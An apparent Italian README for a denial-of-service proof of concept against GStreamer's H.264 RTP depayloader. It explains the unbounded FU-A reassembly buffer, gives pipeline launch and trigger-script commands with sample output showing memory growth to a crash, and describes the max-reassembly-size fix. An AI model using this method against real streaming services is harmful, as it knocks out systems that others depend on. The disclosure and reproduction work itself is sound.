
Prova di concetto per CVE-2026-18649, una vulnerabilità di denial of service remota nel depayloader H.264 RTP di GStreamer (rtph264depay).
Proof of concept per una vulnerabilità di esaurimento delle risorse nel depayloader RTP H.264 di GStreamer (rtph264depay). Lo stesso schema interessa anche rtph265depay.
Durante il riassemblaggio RTP frammentato H.264 FU-A, ogni frammento in arrivo viene inserito in un buffer interno GstAdapter senza limite di dimensione. L'adattatore esegue il flush solo quando il bit di fine frammento (E) è impostato nell'header FU. Un attaccante remoto invia un frammento iniziale valido e poi un flusso infinito di frammenti di continuazione senza mai impostare il bit E. Il buffer continua a crescere finché il processo non esaurisce la memoria e va in crash.
Analisi completa: 0xsemizzz.vercel.app/projects/gstreamer-cve
gst-plugins-good precedenti alla correzione upstream. Confermato su 1.28.2 (Ubuntu 24.04).
Avvia una pipeline, quindi esegui il PoC:
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
PID=$!
python3 trigger.py 5036 $PID
Per un crash veloce, aggiungi un limite di memoria:
ulimit -v 262144 # 256 MB, process dies in about 12 seconds
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
python3 trigger.py 5036 $!
[*] port=5036 1 fragment every 0.5ms (~2.8 MB/s)
[*] monitoring VmData (heap), not RSS
[*] target PID=12345 baseline VmData=26 MB
5000 frags ~ 7 MB sent | VmData=35MB (+8MB)
10000 frags ~ 13 MB sent | VmData=44MB (+17MB)
15000 frags ~ 20 MB sent | VmData=53MB (+26MB)
20000 frags ~ 27 MB sent | VmData=62MB (+35MB)
25000 frags ~ 33 MB sent | VmData=71MB (+44MB)
30000 frags ~ 40 MB sent | VmData=79MB (+53MB)
...
DEAD
Una proprietà max-reassembly-size è stata aggiunta a rtph264depay e rtph265depay. Le applicazioni dovrebbero impostarla a un valore ragionevole (16 MB per i video è tipico). Il valore predefinito è 0 (illimitato) per compatibilità con le versioni precedenti.